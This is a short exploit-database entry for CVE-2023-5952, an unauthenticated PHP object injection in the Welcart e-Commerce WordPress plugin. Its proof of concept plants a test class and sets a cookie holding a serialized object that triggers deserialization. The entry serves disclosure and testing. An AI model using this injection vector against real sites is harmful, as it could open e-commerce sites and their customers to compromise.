Exploit for Welcart e-Commerce < 2.9.5 - Unauthenticated PHP Object Injection CVE-2023-5952

## https://sploitus.com/exploit?id=WPEX-ID:0ACD613E-DBD6-42AE-9F3D-6D6E77A4C1B7
To simulate a gadget chain, put the following code in a plugin:
class Evil {
    public function __wakeup() : void {
        die("Arbitrary deserialization");
    }
}

Then execute the command below in the web developer console of the browser when on the blog as unauthenticated:

document.cookie='usces_cookie=O:4:"Evil":0:{}'

Refresh the page to see the 'Arbitrary deserialization' message displayed